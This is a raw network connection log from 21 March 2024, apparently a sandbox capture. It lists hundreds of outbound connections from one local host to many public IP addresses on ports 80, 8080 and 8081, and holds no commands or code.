Mar 21, 2024 05:21:47.394143105 CET	49712	8080	192.168.2.13	172.148.42.177
Mar 21, 2024 05:21:47.394145012 CET	49712	8080	192.168.2.13	172.52.120.177
Mar 21, 2024 05:21:47.394145012 CET	50480	80	192.168.2.13	178.93.98.121
Mar 21, 2024 05:21:47.394150019 CET	49712	8080	192.168.2.13	184.138.109.221
Mar 21, 2024 05:21:47.394150972 CET	50480	80	192.168.2.13	178.39.184.226
Mar 21, 2024 05:21:47.394150019 CET	50480	80	192.168.2.13	178.228.217.62
Mar 21, 2024 05:21:47.394151926 CET	50480	80	192.168.2.13	178.5.178.131
Mar 21, 2024 05:21:47.394150972 CET	49712	8080	192.168.2.13	172.28.114.115
Mar 21, 2024 05:21:47.394150972 CET	50480	80	192.168.2.13	178.175.251.17
Mar 21, 2024 05:21:47.394164085 CET	50480	80	192.168.2.13	178.83.247.13
Mar 21, 2024 05:21:47.394165039 CET	50480	80	192.168.2.13	178.203.142.22
Mar 21, 2024 05:21:47.394164085 CET	49712	8080	192.168.2.13	172.169.123.190
Mar 21, 2024 05:21:47.394164085 CET	49712	8080	192.168.2.13	184.83.173.82
Mar 21, 2024 05:21:47.394170046 CET	50480	80	192.168.2.13	178.94.2.81
Mar 21, 2024 05:21:47.394170046 CET	49712	8080	192.168.2.13	172.199.73.145
Mar 21, 2024 05:21:47.394170046 CET	50480	80	192.168.2.13	178.71.132.99
Mar 21, 2024 05:21:47.394170046 CET	49712	8080	192.168.2.13	184.215.112.182
Mar 21, 2024 05:21:47.394172907 CET	49712	8080	192.168.2.13	172.215.106.57
Mar 21, 2024 05:21:47.394175053 CET	50480	80	192.168.2.13	178.48.199.239
Mar 21, 2024 05:21:47.394172907 CET	50480	80	192.168.2.13	178.134.195.129
Mar 21, 2024 05:21:47.394175053 CET	50480	80	192.168.2.13	178.29.219.234
Mar 21, 2024 05:21:47.394179106 CET	50480	80	192.168.2.13	178.148.157.80
Mar 21, 2024 05:21:47.394182920 CET	50480	80	192.168.2.13	178.6.63.34
Mar 21, 2024 05:21:47.394182920 CET	49712	8080	192.168.2.13	172.181.56.46
Mar 21, 2024 05:21:47.394182920 CET	49712	8080	192.168.2.13	172.108.28.100
Mar 21, 2024 05:21:47.394182920 CET	50480	80	192.168.2.13	178.104.91.173
Mar 21, 2024 05:21:47.394185066 CET	49712	8080	192.168.2.13	172.36.185.198
Mar 21, 2024 05:21:47.394185066 CET	50480	80	192.168.2.13	178.157.7.22
Mar 21, 2024 05:21:47.394196033 CET	49712	8080	192.168.2.13	172.196.143.175
Mar 21, 2024 05:21:47.394196033 CET	50480	80	192.168.2.13	178.217.43.168
Mar 21, 2024 05:21:47.394196987 CET	49712	8080	192.168.2.13	172.139.94.59
Mar 21, 2024 05:21:47.394196987 CET	50480	80	192.168.2.13	178.241.229.189
Mar 21, 2024 05:21:47.394196987 CET	50480	80	192.168.2.13	178.85.32.150
Mar 21, 2024 05:21:47.394206047 CET	49712	8080	192.168.2.13	184.10.192.49
Mar 21, 2024 05:21:47.394206047 CET	49712	8080	192.168.2.13	98.118.125.135
Mar 21, 2024 05:21:47.394206047 CET	49712	8080	192.168.2.13	98.52.123.16
Mar 21, 2024 05:21:47.394206047 CET	50480	80	192.168.2.13	178.112.88.231
Mar 21, 2024 05:21:47.394211054 CET	50480	80	192.168.2.13	178.39.46.177
Mar 21, 2024 05:21:47.394212961 CET	50480	80	192.168.2.13	178.83.48.206
Mar 21, 2024 05:21:47.394213915 CET	49712	8080	192.168.2.13	184.99.238.241
Mar 21, 2024 05:21:47.394213915 CET	50480	80	192.168.2.13	178.249.182.181
Mar 21, 2024 05:21:47.394220114 CET	50480	80	192.168.2.13	178.185.44.230
Mar 21, 2024 05:21:47.394222975 CET	50480	80	192.168.2.13	178.147.225.58
Mar 21, 2024 05:21:47.394222975 CET	49712	8080	192.168.2.13	184.188.108.142
Mar 21, 2024 05:21:47.394222975 CET	49712	8080	192.168.2.13	172.78.102.241
Mar 21, 2024 05:21:47.394232988 CET	50480	80	192.168.2.13	178.118.20.190
Mar 21, 2024 05:21:47.394232988 CET	49712	8080	192.168.2.13	184.111.229.109
Mar 21, 2024 05:21:47.394232988 CET	49712	8080	192.168.2.13	184.132.198.116
Mar 21, 2024 05:21:47.394234896 CET	50480	80	192.168.2.13	178.73.249.251
Mar 21, 2024 05:21:47.394239902 CET	49712	8080	192.168.2.13	98.137.221.71
Mar 21, 2024 05:21:47.394243002 CET	49712	8080	192.168.2.13	184.99.82.34
Mar 21, 2024 05:21:47.394243002 CET	50480	80	192.168.2.13	178.236.208.60
Mar 21, 2024 05:21:47.394257069 CET	49712	8080	192.168.2.13	98.198.130.56
Mar 21, 2024 05:21:47.394263029 CET	49712	8080	192.168.2.13	172.222.222.206
Mar 21, 2024 05:21:47.394268036 CET	50480	80	192.168.2.13	178.177.225.174
Mar 21, 2024 05:21:47.394268990 CET	49712	8080	192.168.2.13	172.133.79.148
Mar 21, 2024 05:21:47.394268990 CET	50480	80	192.168.2.13	178.79.131.212
Mar 21, 2024 05:21:47.394268990 CET	50480	80	192.168.2.13	178.114.91.47
Mar 21, 2024 05:21:47.394274950 CET	49712	8080	192.168.2.13	98.158.38.21
Mar 21, 2024 05:21:47.394282103 CET	50480	80	192.168.2.13	178.32.124.248
Mar 21, 2024 05:21:47.394287109 CET	49712	8080	192.168.2.13	172.186.171.251
Mar 21, 2024 05:21:47.394288063 CET	49712	8080	192.168.2.13	172.85.11.61
Mar 21, 2024 05:21:47.394289970 CET	50480	80	192.168.2.13	178.67.138.60
Mar 21, 2024 05:21:47.394287109 CET	49712	8080	192.168.2.13	184.70.122.180
Mar 21, 2024 05:21:47.394289970 CET	50480	80	192.168.2.13	178.161.203.143
Mar 21, 2024 05:21:47.394287109 CET	50480	80	192.168.2.13	178.10.186.191
Mar 21, 2024 05:21:47.394294977 CET	49712	8080	192.168.2.13	98.54.65.98
Mar 21, 2024 05:21:47.394300938 CET	50480	80	192.168.2.13	178.71.5.18
Mar 21, 2024 05:21:47.394301891 CET	49712	8080	192.168.2.13	172.233.181.213
Mar 21, 2024 05:21:47.394316912 CET	49712	8080	192.168.2.13	98.211.185.250
Mar 21, 2024 05:21:47.394316912 CET	49712	8080	192.168.2.13	172.58.228.91
Mar 21, 2024 05:21:47.394318104 CET	50480	80	192.168.2.13	178.144.100.30
Mar 21, 2024 05:21:47.394325018 CET	49712	8080	192.168.2.13	184.28.125.142
Mar 21, 2024 05:21:47.394325018 CET	49712	8080	192.168.2.13	98.75.178.2
Mar 21, 2024 05:21:47.394328117 CET	50480	80	192.168.2.13	178.244.161.202
Mar 21, 2024 05:21:47.394328117 CET	50480	80	192.168.2.13	178.250.208.124
Mar 21, 2024 05:21:47.394330025 CET	50480	80	192.168.2.13	178.251.113.75
Mar 21, 2024 05:21:47.394330978 CET	50480	80	192.168.2.13	178.112.108.51
Mar 21, 2024 05:21:47.394330978 CET	50480	80	192.168.2.13	178.51.46.225
Mar 21, 2024 05:21:47.394336939 CET	50480	80	192.168.2.13	178.21.38.71
Mar 21, 2024 05:21:47.394342899 CET	49712	8080	192.168.2.13	172.104.74.234
Mar 21, 2024 05:21:47.394342899 CET	50480	80	192.168.2.13	178.2.161.236
Mar 21, 2024 05:21:47.394344091 CET	49712	8080	192.168.2.13	184.215.190.71
Mar 21, 2024 05:21:47.394344091 CET	50480	80	192.168.2.13	178.21.50.140
Mar 21, 2024 05:21:47.394349098 CET	49712	8080	192.168.2.13	98.42.177.44
Mar 21, 2024 05:21:47.394349098 CET	49712	8080	192.168.2.13	98.32.46.39
Mar 21, 2024 05:21:47.394350052 CET	50480	80	192.168.2.13	178.90.6.152
Mar 21, 2024 05:21:47.394350052 CET	50480	80	192.168.2.13	178.85.202.212
Mar 21, 2024 05:21:47.394360065 CET	49712	8080	192.168.2.13	98.249.251.215
Mar 21, 2024 05:21:47.394372940 CET	49712	8080	192.168.2.13	184.151.117.88
Mar 21, 2024 05:21:47.394380093 CET	49712	8080	192.168.2.13	98.59.4.116
Mar 21, 2024 05:21:47.394380093 CET	49712	8080	192.168.2.13	172.170.254.66
Mar 21, 2024 05:21:47.394380093 CET	49712	8080	192.168.2.13	184.111.127.171
Mar 21, 2024 05:21:47.394387007 CET	50480	80	192.168.2.13	178.123.171.107
Mar 21, 2024 05:21:47.394387007 CET	49712	8080	192.168.2.13	184.101.39.59
Mar 21, 2024 05:21:47.394387007 CET	50480	80	192.168.2.13	178.244.69.48
Mar 21, 2024 05:21:47.394387960 CET	49712	8080	192.168.2.13	98.9.57.158
Mar 21, 2024 05:21:47.394401073 CET	49712	8080	192.168.2.13	172.166.134.228
Mar 21, 2024 05:21:47.394402027 CET	49712	8080	192.168.2.13	172.91.120.104
Mar 21, 2024 05:21:47.394414902 CET	50480	80	192.168.2.13	178.64.100.39
Mar 21, 2024 05:21:47.394414902 CET	50480	80	192.168.2.13	178.185.43.175
Mar 21, 2024 05:21:47.394414902 CET	50480	80	192.168.2.13	178.111.20.177
Mar 21, 2024 05:21:47.394414902 CET	50480	80	192.168.2.13	178.112.219.5
Mar 21, 2024 05:21:47.394418001 CET	50480	80	192.168.2.13	178.212.222.112
Mar 21, 2024 05:21:47.394418001 CET	49712	8080	192.168.2.13	98.125.185.171
Mar 21, 2024 05:21:47.394423962 CET	50480	80	192.168.2.13	178.132.25.203
Mar 21, 2024 05:21:47.394432068 CET	50480	80	192.168.2.13	178.156.119.148
Mar 21, 2024 05:21:47.394439936 CET	49712	8080	192.168.2.13	172.233.1.33
Mar 21, 2024 05:21:47.394442081 CET	49712	8080	192.168.2.13	184.16.64.22
Mar 21, 2024 05:21:47.394442081 CET	49712	8080	192.168.2.13	184.138.48.213
Mar 21, 2024 05:21:47.394442081 CET	49712	8080	192.168.2.13	184.96.49.105
Mar 21, 2024 05:21:47.394442081 CET	50480	80	192.168.2.13	178.95.106.174
Mar 21, 2024 05:21:47.394454002 CET	50480	80	192.168.2.13	178.73.229.87
Mar 21, 2024 05:21:47.394454002 CET	50480	80	192.168.2.13	178.164.73.127
Mar 21, 2024 05:21:47.394455910 CET	49712	8080	192.168.2.13	184.84.191.150
Mar 21, 2024 05:21:47.394457102 CET	50480	80	192.168.2.13	178.49.114.98
Mar 21, 2024 05:21:47.394458055 CET	49712	8080	192.168.2.13	184.195.75.155
Mar 21, 2024 05:21:47.394460917 CET	50480	80	192.168.2.13	178.46.199.121
Mar 21, 2024 05:21:47.394476891 CET	50480	80	192.168.2.13	178.245.205.123
Mar 21, 2024 05:21:47.394480944 CET	50480	80	192.168.2.13	178.85.135.157
Mar 21, 2024 05:21:47.394480944 CET	50480	80	192.168.2.13	178.88.98.237
Mar 21, 2024 05:21:47.394483089 CET	50480	80	192.168.2.13	178.22.48.24
Mar 21, 2024 05:21:47.394488096 CET	49712	8080	192.168.2.13	172.70.247.94
Mar 21, 2024 05:21:47.394489050 CET	50480	80	192.168.2.13	178.36.115.183
Mar 21, 2024 05:21:47.394506931 CET	49712	8080	192.168.2.13	98.87.129.255
Mar 21, 2024 05:21:47.394506931 CET	49712	8080	192.168.2.13	98.165.200.192
Mar 21, 2024 05:21:47.394510984 CET	50480	80	192.168.2.13	178.187.189.202
Mar 21, 2024 05:21:47.394515991 CET	49712	8080	192.168.2.13	98.6.6.185
Mar 21, 2024 05:21:47.394515991 CET	50480	80	192.168.2.13	178.241.231.52
Mar 21, 2024 05:21:47.394524097 CET	49712	8080	192.168.2.13	172.175.110.63
Mar 21, 2024 05:21:47.394524097 CET	50480	80	192.168.2.13	178.154.230.37
Mar 21, 2024 05:21:47.394526958 CET	49712	8080	192.168.2.13	98.42.152.243
Mar 21, 2024 05:21:47.394535065 CET	49712	8080	192.168.2.13	98.61.23.174
Mar 21, 2024 05:21:47.394535065 CET	50480	80	192.168.2.13	178.217.192.67
Mar 21, 2024 05:21:47.394541979 CET	49712	8080	192.168.2.13	184.110.149.9
Mar 21, 2024 05:21:47.394545078 CET	49712	8080	192.168.2.13	172.176.201.147
Mar 21, 2024 05:21:47.394545078 CET	50480	80	192.168.2.13	178.211.210.79
Mar 21, 2024 05:21:47.394547939 CET	50480	80	192.168.2.13	178.243.98.126
Mar 21, 2024 05:21:47.394548893 CET	49712	8080	192.168.2.13	172.2.55.89
Mar 21, 2024 05:21:47.394551039 CET	50480	80	192.168.2.13	178.180.112.78
Mar 21, 2024 05:21:47.394551992 CET	50480	80	192.168.2.13	178.38.1.116
Mar 21, 2024 05:21:47.394552946 CET	49712	8080	192.168.2.13	98.111.56.219
Mar 21, 2024 05:21:47.394561052 CET	49712	8080	192.168.2.13	98.62.65.104
Mar 21, 2024 05:21:47.394561052 CET	50480	80	192.168.2.13	178.186.215.1
Mar 21, 2024 05:21:47.394565105 CET	50480	80	192.168.2.13	178.130.140.7
Mar 21, 2024 05:21:47.394576073 CET	49712	8080	192.168.2.13	184.85.204.85
Mar 21, 2024 05:21:47.394577026 CET	49712	8080	192.168.2.13	184.41.181.175
Mar 21, 2024 05:21:47.394577980 CET	49712	8080	192.168.2.13	172.12.113.93
Mar 21, 2024 05:21:47.394578934 CET	49712	8080	192.168.2.13	98.114.115.187
Mar 21, 2024 05:21:47.394587040 CET	49712	8080	192.168.2.13	172.187.243.152
Mar 21, 2024 05:21:47.394587040 CET	50480	80	192.168.2.13	178.162.216.23
Mar 21, 2024 05:21:47.394588947 CET	49712	8080	192.168.2.13	184.75.106.76
Mar 21, 2024 05:21:47.394594908 CET	49712	8080	192.168.2.13	172.190.38.84
Mar 21, 2024 05:21:47.394603968 CET	49712	8080	192.168.2.13	98.186.170.228
Mar 21, 2024 05:21:47.394607067 CET	49712	8080	192.168.2.13	184.34.33.191
Mar 21, 2024 05:21:47.394620895 CET	49712	8080	192.168.2.13	184.169.192.242
Mar 21, 2024 05:21:47.394644022 CET	49712	8080	192.168.2.13	184.181.182.6
Mar 21, 2024 05:21:47.394645929 CET	49712	8080	192.168.2.13	172.29.20.223
Mar 21, 2024 05:21:47.394659996 CET	49712	8080	192.168.2.13	98.185.116.121
Mar 21, 2024 05:21:47.394674063 CET	49712	8080	192.168.2.13	172.34.68.154
Mar 21, 2024 05:21:47.394685984 CET	49712	8080	192.168.2.13	98.220.96.66
Mar 21, 2024 05:21:47.394685984 CET	49712	8080	192.168.2.13	172.77.18.201
Mar 21, 2024 05:21:47.394689083 CET	49712	8080	192.168.2.13	98.137.69.51
Mar 21, 2024 05:21:47.394691944 CET	49712	8080	192.168.2.13	172.113.78.163
Mar 21, 2024 05:21:47.394702911 CET	49712	8080	192.168.2.13	172.39.102.208
Mar 21, 2024 05:21:47.394712925 CET	49712	8080	192.168.2.13	98.64.86.210
Mar 21, 2024 05:21:47.394716024 CET	49712	8080	192.168.2.13	172.223.92.156
Mar 21, 2024 05:21:47.394716024 CET	49712	8080	192.168.2.13	98.33.191.21
Mar 21, 2024 05:21:47.394716978 CET	49712	8080	192.168.2.13	184.203.71.234
Mar 21, 2024 05:21:47.394717932 CET	49712	8080	192.168.2.13	184.166.169.51
Mar 21, 2024 05:21:47.394727945 CET	49712	8080	192.168.2.13	172.248.215.179
Mar 21, 2024 05:21:47.394745111 CET	49712	8080	192.168.2.13	184.143.214.190
Mar 21, 2024 05:21:47.394751072 CET	49712	8080	192.168.2.13	172.255.248.234
Mar 21, 2024 05:21:47.394761086 CET	49712	8080	192.168.2.13	98.156.19.31
Mar 21, 2024 05:21:47.394773006 CET	49712	8080	192.168.2.13	172.252.198.76
Mar 21, 2024 05:21:47.394784927 CET	49712	8080	192.168.2.13	172.182.16.110
Mar 21, 2024 05:21:47.394784927 CET	49712	8080	192.168.2.13	98.1.68.232
Mar 21, 2024 05:21:47.394799948 CET	49712	8080	192.168.2.13	98.243.82.174
Mar 21, 2024 05:21:47.394805908 CET	49712	8080	192.168.2.13	98.177.185.21
Mar 21, 2024 05:21:47.394813061 CET	49712	8080	192.168.2.13	98.222.243.141
Mar 21, 2024 05:21:47.394817114 CET	49712	8080	192.168.2.13	184.238.98.52
Mar 21, 2024 05:21:47.394824028 CET	49712	8080	192.168.2.13	98.8.146.129
Mar 21, 2024 05:21:47.394828081 CET	49712	8080	192.168.2.13	98.39.91.171
Mar 21, 2024 05:21:47.394828081 CET	49712	8080	192.168.2.13	98.29.20.165
Mar 21, 2024 05:21:47.394829988 CET	49712	8080	192.168.2.13	98.93.165.72
Mar 21, 2024 05:21:47.394845009 CET	49712	8080	192.168.2.13	172.236.40.69
Mar 21, 2024 05:21:47.394845009 CET	49712	8080	192.168.2.13	98.108.217.95
Mar 21, 2024 05:21:47.394854069 CET	49712	8080	192.168.2.13	98.36.105.11
Mar 21, 2024 05:21:47.394855022 CET	49712	8080	192.168.2.13	98.124.9.157
Mar 21, 2024 05:21:47.394857883 CET	49712	8080	192.168.2.13	172.27.89.149
Mar 21, 2024 05:21:47.394870996 CET	49712	8080	192.168.2.13	184.36.129.36
Mar 21, 2024 05:21:47.394876003 CET	49712	8080	192.168.2.13	98.141.2.56
Mar 21, 2024 05:21:47.394880056 CET	49712	8080	192.168.2.13	184.1.236.107
Mar 21, 2024 05:21:47.394886017 CET	49712	8080	192.168.2.13	172.34.206.212
Mar 21, 2024 05:21:47.394887924 CET	49712	8080	192.168.2.13	184.253.142.131
Mar 21, 2024 05:21:47.394907951 CET	49712	8080	192.168.2.13	98.43.59.245
Mar 21, 2024 05:21:47.394911051 CET	49712	8080	192.168.2.13	184.6.85.131
Mar 21, 2024 05:21:47.394917965 CET	49712	8080	192.168.2.13	184.64.253.146
Mar 21, 2024 05:21:47.394918919 CET	49712	8080	192.168.2.13	184.164.204.183
Mar 21, 2024 05:21:47.394918919 CET	49712	8080	192.168.2.13	98.108.1.175
Mar 21, 2024 05:21:47.394936085 CET	49712	8080	192.168.2.13	98.86.118.210
Mar 21, 2024 05:21:47.394956112 CET	49712	8080	192.168.2.13	98.14.125.201
Mar 21, 2024 05:21:47.394959927 CET	49712	8080	192.168.2.13	184.3.115.71
Mar 21, 2024 05:21:47.394962072 CET	49712	8080	192.168.2.13	172.129.45.136
Mar 21, 2024 05:21:47.394962072 CET	49712	8080	192.168.2.13	184.75.234.53
Mar 21, 2024 05:21:47.394979000 CET	49712	8080	192.168.2.13	184.138.100.129
Mar 21, 2024 05:21:47.394980907 CET	49712	8080	192.168.2.13	172.27.133.196
Mar 21, 2024 05:21:47.394980907 CET	49712	8080	192.168.2.13	184.40.119.225
Mar 21, 2024 05:21:47.394998074 CET	49712	8080	192.168.2.13	98.73.136.200
Mar 21, 2024 05:21:47.394998074 CET	49712	8080	192.168.2.13	184.245.6.13
Mar 21, 2024 05:21:47.394998074 CET	49712	8080	192.168.2.13	98.34.172.104
Mar 21, 2024 05:21:47.394998074 CET	49712	8080	192.168.2.13	98.157.201.91
Mar 21, 2024 05:21:47.395010948 CET	49712	8080	192.168.2.13	98.165.38.89
Mar 21, 2024 05:21:47.395018101 CET	49712	8080	192.168.2.13	172.24.13.251
Mar 21, 2024 05:21:47.395021915 CET	49712	8080	192.168.2.13	172.123.217.160
Mar 21, 2024 05:21:47.395039082 CET	49712	8080	192.168.2.13	98.144.62.91
Mar 21, 2024 05:21:47.395040035 CET	49712	8080	192.168.2.13	98.123.252.35
Mar 21, 2024 05:21:47.395040989 CET	49712	8080	192.168.2.13	184.185.118.75
Mar 21, 2024 05:21:47.395040989 CET	49712	8080	192.168.2.13	184.73.119.111
Mar 21, 2024 05:21:47.395056963 CET	49712	8080	192.168.2.13	172.184.44.137
Mar 21, 2024 05:21:47.395056963 CET	49712	8080	192.168.2.13	172.139.200.227
Mar 21, 2024 05:21:47.395061016 CET	49712	8080	192.168.2.13	172.112.225.220
Mar 21, 2024 05:21:47.395073891 CET	49712	8080	192.168.2.13	172.185.37.5
Mar 21, 2024 05:21:47.395092964 CET	49712	8080	192.168.2.13	172.146.191.92
Mar 21, 2024 05:21:47.395096064 CET	49712	8080	192.168.2.13	98.36.95.59
Mar 21, 2024 05:21:47.395107031 CET	49712	8080	192.168.2.13	98.232.174.202
Mar 21, 2024 05:21:47.395112991 CET	49712	8080	192.168.2.13	172.73.95.70
Mar 21, 2024 05:21:47.395128012 CET	49712	8080	192.168.2.13	172.87.40.8
Mar 21, 2024 05:21:47.395131111 CET	49712	8080	192.168.2.13	172.15.1.189
Mar 21, 2024 05:21:47.395147085 CET	49712	8080	192.168.2.13	184.62.69.189
Mar 21, 2024 05:21:47.395147085 CET	49712	8080	192.168.2.13	98.52.227.91
Mar 21, 2024 05:21:47.395148993 CET	49712	8080	192.168.2.13	172.188.144.185
Mar 21, 2024 05:21:47.395154953 CET	51248	8081	192.168.2.13	112.43.87.105
Mar 21, 2024 05:21:47.395163059 CET	49712	8080	192.168.2.13	98.236.214.82
Mar 21, 2024 05:21:47.395164013 CET	49712	8080	192.168.2.13	98.167.122.136
Mar 21, 2024 05:21:47.395164967 CET	49712	8080	192.168.2.13	98.14.252.141
Mar 21, 2024 05:21:47.395174980 CET	49712	8080	192.168.2.13	172.197.104.217
Mar 21, 2024 05:21:47.395174980 CET	49712	8080	192.168.2.13	184.117.149.233
Mar 21, 2024 05:21:47.395179033 CET	51248	8081	192.168.2.13	109.36.237.184
Mar 21, 2024 05:21:47.395179033 CET	49712	8080	192.168.2.13	172.38.177.156
Mar 21, 2024 05:21:47.395180941 CET	49712	8080	192.168.2.13	184.130.137.177
Mar 21, 2024 05:21:47.395183086 CET	49712	8080	192.168.2.13	172.19.17.7
Mar 21, 2024 05:21:47.395183086 CET	49712	8080	192.168.2.13	172.176.100.223
Mar 21, 2024 05:21:47.395183086 CET	51248	8081	192.168.2.13	165.40.138.102
Mar 21, 2024 05:21:47.395183086 CET	51248	8081	192.168.2.13	161.60.43.248
Mar 21, 2024 05:21:47.395184994 CET	49712	8080	192.168.2.13	184.88.229.33
Mar 21, 2024 05:21:47.395184994 CET	49712	8080	192.168.2.13	184.117.50.151
Mar 21, 2024 05:21:47.395184994 CET	51248	8081	192.168.2.13	51.26.69.11
Mar 21, 2024 05:21:47.395194054 CET	49712	8080	192.168.2.13	172.86.111.78
Mar 21, 2024 05:21:47.395194054 CET	51248	8081	192.168.2.13	62.134.176.65
Mar 21, 2024 05:21:47.395194054 CET	51248	8081	192.168.2.13	189.15.2.233
Mar 21, 2024 05:21:47.395194054 CET	51248	8081	192.168.2.13	195.241.127.61
Mar 21, 2024 05:21:47.395200968 CET	51248	8081	192.168.2.13	176.211.160.137
Mar 21, 2024 05:21:47.395200968 CET	49712	8080	192.168.2.13	184.93.16.219
Mar 21, 2024 05:21:47.395200968 CET	49712	8080	192.168.2.13	172.44.235.86
Mar 21, 2024 05:21:47.395203114 CET	51248	8081	192.168.2.13	172.138.91.158
Mar 21, 2024 05:21:47.395203114 CET	51248	8081	192.168.2.13	189.151.194.68
Mar 21, 2024 05:21:47.395203114 CET	49712	8080	192.168.2.13	172.189.199.96
Mar 21, 2024 05:21:47.395203114 CET	51248	8081	192.168.2.13	173.110.205.55
Mar 21, 2024 05:21:47.395203114 CET	51248	8081	192.168.2.13	135.57.45.18
Mar 21, 2024 05:21:47.395207882 CET	49712	8080	192.168.2.13	184.63.200.117
Mar 21, 2024 05:21:47.395207882 CET	49712	8080	192.168.2.13	172.41.43.49
Mar 21, 2024 05:21:47.395207882 CET	49712	8080	192.168.2.13	172.169.108.220
Mar 21, 2024 05:21:47.395209074 CET	51248	8081	192.168.2.13	165.192.114.145
Mar 21, 2024 05:21:47.395207882 CET	49712	8080	192.168.2.13	98.209.183.33
Mar 21, 2024 05:21:47.395209074 CET	51248	8081	192.168.2.13	124.4.25.141
Mar 21, 2024 05:21:47.395212889 CET	49712	8080	192.168.2.13	184.157.54.113
Mar 21, 2024 05:21:47.395220995 CET	49712	8080	192.168.2.13	98.200.243.11
Mar 21, 2024 05:21:47.395220995 CET	51248	8081	192.168.2.13	47.126.31.199
Mar 21, 2024 05:21:47.395220995 CET	51248	8081	192.168.2.13	79.16.149.124
Mar 21, 2024 05:21:47.395224094 CET	51248	8081	192.168.2.13	102.110.62.255
Mar 21, 2024 05:21:47.395229101 CET	49712	8080	192.168.2.13	184.184.30.232
Mar 21, 2024 05:21:47.395231009 CET	51248	8081	192.168.2.13	90.222.82.110
Mar 21, 2024 05:21:47.395231009 CET	51248	8081	192.168.2.13	131.88.69.106
Mar 21, 2024 05:21:47.395256042 CET	49712	8080	192.168.2.13	184.40.75.106
Mar 21, 2024 05:21:47.395256996 CET	49712	8080	192.168.2.13	98.116.163.104
Mar 21, 2024 05:21:47.395266056 CET	51248	8081	192.168.2.13	51.185.217.165
Mar 21, 2024 05:21:47.395268917 CET	51248	8081	192.168.2.13	96.252.100.14
Mar 21, 2024 05:21:47.395272017 CET	49712	8080	192.168.2.13	172.205.36.222
Mar 21, 2024 05:21:47.395272017 CET	49712	8080	192.168.2.13	172.54.251.100
Mar 21, 2024 05:21:47.395284891 CET	51248	8081	192.168.2.13	78.241.19.61
Mar 21, 2024 05:21:47.395286083 CET	51248	8081	192.168.2.13	212.30.10.165
Mar 21, 2024 05:21:47.395286083 CET	49712	8080	192.168.2.13	184.144.72.209
Mar 21, 2024 05:21:47.395286083 CET	51248	8081	192.168.2.13	138.211.130.194
Mar 21, 2024 05:21:47.395286083 CET	49712	8080	192.168.2.13	184.0.222.102
Mar 21, 2024 05:21:47.395287991 CET	49712	8080	192.168.2.13	184.252.118.145
Mar 21, 2024 05:21:47.395287991 CET	49712	8080	192.168.2.13	98.101.5.239
Mar 21, 2024 05:21:47.395287991 CET	51248	8081	192.168.2.13	36.23.60.226
Mar 21, 2024 05:21:47.395298958 CET	49712	8080	192.168.2.13	184.252.17.180
Mar 21, 2024 05:21:47.395304918 CET	51248	8081	192.168.2.13	195.199.46.51
Mar 21, 2024 05:21:47.395304918 CET	49712	8080	192.168.2.13	98.179.173.253
Mar 21, 2024 05:21:47.395322084 CET	51248	8081	192.168.2.13	121.107.191.115
Mar 21, 2024 05:21:47.395323038 CET	51248	8081	192.168.2.13	72.58.225.125
Mar 21, 2024 05:21:47.395322084 CET	51248	8081	192.168.2.13	59.54.247.121
Mar 21, 2024 05:21:47.395323038 CET	49712	8080	192.168.2.13	98.4.66.241
Mar 21, 2024 05:21:47.395324945 CET	49712	8080	192.168.2.13	172.154.179.203
Mar 21, 2024 05:21:47.395322084 CET	49712	8080	192.168.2.13	184.18.29.75
Mar 21, 2024 05:21:47.395323992 CET	51248	8081	192.168.2.13	88.72.56.212
Mar 21, 2024 05:21:47.395323038 CET	51248	8081	192.168.2.13	27.151.139.108
Mar 21, 2024 05:21:47.395327091 CET	51248	8081	192.168.2.13	65.130.10.67
Mar 21, 2024 05:21:47.395323038 CET	51248	8081	192.168.2.13	98.246.144.236
Mar 21, 2024 05:21:47.395327091 CET	51248	8081	192.168.2.13	129.41.254.152
Mar 21, 2024 05:21:47.395327091 CET	51248	8081	192.168.2.13	79.235.184.179
Mar 21, 2024 05:21:47.395323038 CET	51248	8081	192.168.2.13	163.221.5.241
Mar 21, 2024 05:21:47.395325899 CET	49712	8080	192.168.2.13	98.99.31.156
Mar 21, 2024 05:21:47.395327091 CET	51248	8081	192.168.2.13	186.173.190.69
Mar 21, 2024 05:21:47.395325899 CET	51248	8081	192.168.2.13	129.162.17.152
Mar 21, 2024 05:21:47.395323038 CET	49712	8080	192.168.2.13	172.174.34.13
Mar 21, 2024 05:21:47.395327091 CET	49712	8080	192.168.2.13	172.20.166.77
Mar 21, 2024 05:21:47.395325899 CET	51248	8081	192.168.2.13	162.65.72.89
Mar 21, 2024 05:21:47.395323992 CET	51248	8081	192.168.2.13	47.252.206.220
Mar 21, 2024 05:21:47.395330906 CET	51248	8081	192.168.2.13	142.133.177.8
Mar 21, 2024 05:21:47.395323038 CET	49712	8080	192.168.2.13	184.164.32.183
Mar 21, 2024 05:21:47.395330906 CET	51248	8081	192.168.2.13	84.119.107.83
Mar 21, 2024 05:21:47.395323038 CET	51248	8081	192.168.2.13	113.253.232.46
Mar 21, 2024 05:21:47.395330906 CET	49712	8080	192.168.2.13	172.197.163.81
Mar 21, 2024 05:21:47.395325899 CET	49712	8080	192.168.2.13	172.217.37.184
Mar 21, 2024 05:21:47.395330906 CET	49712	8080	192.168.2.13	184.50.115.177
Mar 21, 2024 05:21:47.395325899 CET	49712	8080	192.168.2.13	172.216.76.169
Mar 21, 2024 05:21:47.395330906 CET	51248	8081	192.168.2.13	179.149.206.178
Mar 21, 2024 05:21:47.395323992 CET	51248	8081	192.168.2.13	83.106.44.127
Mar 21, 2024 05:21:47.395325899 CET	51248	8081	192.168.2.13	58.144.155.157
Mar 21, 2024 05:21:47.395350933 CET	51248	8081	192.168.2.13	8.79.178.44
Mar 21, 2024 05:21:47.395350933 CET	49712	8080	192.168.2.13	184.163.190.43
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	57.192.254.54
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	188.130.33.157
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	95.26.98.233
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	112.137.6.103
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	119.137.243.203
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	115.75.159.92
Mar 21, 2024 05:21:47.395351887 CET	51248	8081	192.168.2.13	59.71.255.29
Mar 21, 2024 05:21:47.395363092 CET	49712	8080	192.168.2.13	184.142.150.210
Mar 21, 2024 05:21:47.395363092 CET	51248	8081	192.168.2.13	180.160.214.172
Mar 21, 2024 05:21:47.395363092 CET	49712	8080	192.168.2.13	184.16.108.47
Mar 21, 2024 05:21:47.395363092 CET	49712	8080	192.168.2.13	184.93.176.76
